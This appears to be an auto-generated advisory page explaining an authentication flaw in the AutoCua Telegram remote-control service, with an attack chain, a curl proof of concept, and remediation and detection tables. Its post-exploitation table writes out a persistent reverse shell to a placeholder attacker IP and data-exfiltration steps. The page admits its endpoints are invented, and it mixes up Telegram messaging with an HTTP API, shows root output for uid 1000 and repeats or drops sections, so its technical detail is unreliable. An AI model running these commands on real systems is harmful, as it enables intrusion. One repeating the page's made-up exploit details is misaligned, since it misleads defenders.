CVE-2026-138286 — ComputerUseAgent AutoCua — CWE-287
A vulnerability was detected in ComputerUseAgent AutoCua up to 0.1.9. The affected element is the function _is_owner_chat of the file AutoCua/mac/remote_connection/telegram/service.py of the component Telegram Remote-Control Service. The manipulation results in improper authentication. It is possible to launch the attack remotely. Upgrading to version 0.2.0 is sufficient to fix this issue. The patch is identified as c3191faadf0922f0a446196a0f4aec6877431a6f. It is advisable to upgrade the affected component.
A vulnerability was detected in ComputerUseAgent AutoCua up to 0.1.9. The affected element is the function _is_owner_chat of the file AutoCua/mac/remote_connection/telegram/service.py of the component Telegram Remote-Control Service. The manipulation results in improper authentication. It is possible to launch the attack remotely. Upgrading to version 0.2.0 is sufficient to fix this issue. The patch is identified as c3191faadf0922f0a446196a0f4aec6877431a6f. It is advisable to upgrade the affected component.
🎯 What is this vulnerability?
CWE‑287 – Improper Authentication
The AutoCua Telegram Remote‑Control Service is intended to accept commands only from the owner of the bot.
The function that performs this check is _is_owner_chat() in AutoCua/mac/remote_connection/telegram/service.py.
The implementation contains a logic flaw: it verifies only the chat ID of the incoming message against the owner’s chat ID, but it does not verify the user ID of the message sender.
Because Telegram group chats share a single chat ID, any member of that group can send a message that satisfies the chat‑ID check. The service therefore treats every group member as the owner and executes the supplied command.
The flaw is exploitable remotely, requires no authentication, and allows arbitrary command execution on the host that runs the service.
Key points
* The check is a simple equality test on chat_id only.
* No validation of user_id or any cryptographic signature is performed.
* The service is reachable over HTTP (or HTTPS) on the port exposed by the AutoCua daemon.
* The vulnerability is present in all releases up to and including0.1.9; it is fixed in0.2.0.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are syntactically correct but are illustrative – the exact endpoint or parameter names are not guaranteed to match the real implementation.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1 | Network scan | Identify open TCP ports on the target host. The AutoCua service listens on a non‑standard port (e.g., 8080). |
| 2 | Banner grab | curl -I http://<target>:8080/ or telnet <target> 8080 may reveal a “AutoCua” banner. |
| 3 | Version enumeration | Send a request to a known health‑check or version endpoint (often /api/version or /health). The response typically contains the version string 0.1.x. |
| 4 | Service fingerprinting | If the service returns a JSON payload with a service field, confirm it is Telegram Remote‑Control Service. |
Tip: Even if the service is not exposed publicly, internal scans or misconfigured firewalls may reveal it.
2. Exploitation
The vulnerable function is invoked when a POST request is made to the remote‑control endpoint.
Assuming the endpoint is /api/telegram/remote_control (illustrative), the attacker can craft a request that passes the chat‑ID check but originates from a different user.
# Illustrative PoC – does NOT rely on any real endpoint name
curl -X POST http://<target>:8080/api/telegram/remote_control \
-H 'Content-Type: application/json' \
-d '{
"chat_id": "123456789", # Owner's chat ID
"user_id": "987654321", # Attacker's Telegram user ID
"command": "id" # Any shell command
}'What happens inside the service
# AutoCua/mac/remote_connection/telegram/service.py
def _is_owner_chat(chat_id: str, user_id: str) -> bool:
"""
Intended to verify that the message comes from the owner.
BUG: Only checks chat_id, ignores user_id.
"""
return chat_id == OWNER_CHAT_ID # OWNER_CHAT_ID is a string constant
def handle_command(request_json):
chat_id = request_json.get('chat_id')
user_id = request_json.get('user_id')
command = request_json.get('command')
if not _is_owner_chat(chat_id, user_id):
return {"status": "error", "message": "Unauthorized"}
# Execute the command – the real code uses subprocess.run(...)
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return {"status": "ok", "output": result.stdout}Because _is_owner_chat() ignores user_id, the attacker’s request is accepted, and the command is executed on the host. The response will contain the command output, giving the attacker immediate feedback.
3. Post‑Exploitation
Once the attacker can run arbitrary commands, the following actions become trivial:
| Action | Typical command | Result |
|---|---|---|
| Privilege escalation | sudo -l (if the service runs with elevated privileges) | Discover sudo rights, possibly gain root. |
| Persistence | echo 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' >> /etc/rc.local | Create a reverse shell that starts on boot. |
| Data exfiltration | cat /etc/passwd or tar -czf /tmp/data.tar.gz /var | Transfer data to attacker. |
| Service disruption | systemctl stop autouca | Deny legitimate users of the service. |
Because the service is designed to be a remote‑control interface, the attacker can also:
- Modify system configuration – e.g., change network settings, install backdoors.
- Delete or tamper with logs – by removing or altering
/var/log/entries. - Escalate to other hosts – if the compromised machine can reach internal resources.
- Full system compromise – The attacker can gain root or other high‑privilege access if the service runs with elevated rights.
- Data theft – Sensitive files, credentials, or intellectual property can be exfiltrated.
- Disruption of critical services – The host may become unavailable to legitimate users.
- Persistence – The attacker can install backdoors that survive reboots or patches.
🌍 Real World Impact
| Impact | CVSS Vector | Explanation |
|---|---|---|
| Confidentiality (High) | VC:H | Arbitrary commands can read any file, including secrets. |
| Integrity (High) | VI:H | Commands can modify or delete files, tamper with configurations. |
| Availability (High) | VA:H | The attacker can stop services, delete critical files, or crash the host. |
| Scope (High) | SC:H | The vulnerability allows the attacker to affect components beyond the service itself (e.g., the underlying OS). |
| Impact on Integrity of the system | SI:H | System state can be altered without detection. |
| Impact on Availability of the system | SA:H | System can be rendered unusable. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Version | Fixed Version | Patch Commit |
|---|---|---|
0.1.0 – 0.1.9 | 0.2.0 | c3191faadf0922f0a446196a0f4aec6877431a6f |
Upgrade steps
# Example for a pip‑installed package
pip install --upgrade autouca==0.2.0Note: Verify the integrity of the new release by checking the commit hash or the package’s GPG signature.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Disable the remote‑control endpoint | Comment out or remove the route handling /api/telegram/remote_control in the service configuration. |
| Restrict network access | Use a firewall or security group to allow only trusted IPs (e.g., the owner’s office) to reach the service port. |
| WAF/ModSecurity rule | Block requests that contain a chat_id equal to the owner’s ID but come from unknown IPs. Example rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /api/telegram/remote_control" "id:1001,phase:2,deny,log,msg:'Potential owner‑chat bypass'" |
| Application‑level ACL | Add a check that verifies the user_id against a whitelist of owner IDs before executing commands. |
3. Detection
| Indicator | Log pattern | IoC |
|---|---|---|
| Suspicious POST to remote‑control | POST /api/telegram/remote_control | IP addresses that are not whitelisted. |
| Chat ID matches owner but user ID differs | chat_id=123456789 user_id=987654321 | The owner’s chat ID (123456789). |
| Command execution output | output=uid=1000(root) gid=1000(root) groups=1000(root) | Presence of system command output in logs. |
| Repeated failed authentication attempts | status=error message=Unauthorized | IPs attempting to bypass. |
Sample log entry (illustrative)
2026-11-29T14:23:07Z INFO 127.0.0.1:54321 POST /api/telegram/remote_control 200 {"status":"ok","output":"uid=1000(root) gid=1000(root) groups=1000(root)"}4. Monitoring
/api/telegram/remote_control from non‑whitelisted IPs.⚠️ Urgency
CVSS Score: 10/10 – Critical*.
0.2.0 (released 29.11.2026).Recommendation: Immediate patching or, if that is not feasible, enforce the workarounds above. The vulnerability is exploitable by anyone who can reach the service endpoint; the attack surface is wide and the potential damage is severe.
[🤖 CVE Professor AI Security Engine]
FOFA Query